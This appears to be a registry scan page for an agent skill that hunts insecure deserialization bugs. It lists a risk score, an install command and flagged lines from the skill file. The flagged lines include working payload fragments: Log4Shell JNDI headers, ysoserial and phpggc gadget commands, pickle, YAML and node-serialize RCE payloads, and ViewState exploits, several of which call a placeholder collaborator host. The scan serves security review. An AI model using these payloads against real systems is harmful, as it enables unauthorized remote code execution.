hunt-deserialization

90 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 11 places.

skills/hunt-deserialization/SKILL.md, line 17- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
skills/hunt-deserialization/SKILL.md, line 29echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
skills/hunt-deserialization/SKILL.md, line 57wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

Show 8 more

skills/hunt-deserialization/SKILL.md, line 76grep -r "unserialize(" --include="*.php" .
skills/hunt-deserialization/SKILL.md, line 91python3 -c "
skills/hunt-deserialization/SKILL.md, line 108phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
skills/hunt-deserialization/SKILL.md, line 114`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
skills/hunt-deserialization/SKILL.md, line 122dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
skills/hunt-deserialization/SKILL.md, line 129COLLAB="COLLAB_HOST"
skills/hunt-deserialization/SKILL.md, line 143grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
skills/hunt-deserialization/SKILL.md, line 165interactsh-client -v -n 5

Sends data to these websites: $target, github.com, collab_host, $collab

The author does not mention this. Expected for a security skill.

Found in 12 places.

skills/hunt-deserialization/SKILL.md, line 35curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
skills/hunt-deserialization/SKILL.md, line 38curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
skills/hunt-deserialization/SKILL.md, line 57wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

Show 9 more

skills/hunt-deserialization/SKILL.md, line 61'curl http://COLLAB_HOST/ysoserial' | base64 -w0
skills/hunt-deserialization/SKILL.md, line 65curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
skills/hunt-deserialization/SKILL.md, line 95return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
skills/hunt-deserialization/SKILL.md, line 100curl -s https://$TARGET/api/load-model \
skills/hunt-deserialization/SKILL.md, line 112`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
skills/hunt-deserialization/SKILL.md, line 114`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
skills/hunt-deserialization/SKILL.md, line 123-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
skills/hunt-deserialization/SKILL.md, line 131curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
skills/hunt-deserialization/SKILL.md, line 135curl -s -X POST https://$TARGET/api/login \

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'hunt-deserialization' ] || [ -L ~/.agents/skills/'hunt-deserialization' ]; then echo 'A skill folder named hunt-deserialization already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-deserialization' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-deserialization' ~/.agents/skills/'hunt-deserialization' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-deserialization' ~/.claude/skills/'hunt-deserialization' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.

SkillTrust badge for elementalsouls/Claude-BugHunter

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/elementalsouls/Claude-BugHunter.svg)](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)

Score history

Date	Version	Score
2026-11-10	`d5dcc53`	90
2026-11-08	`42a3ab1`	90
2026-11-06	`3e71af0`	90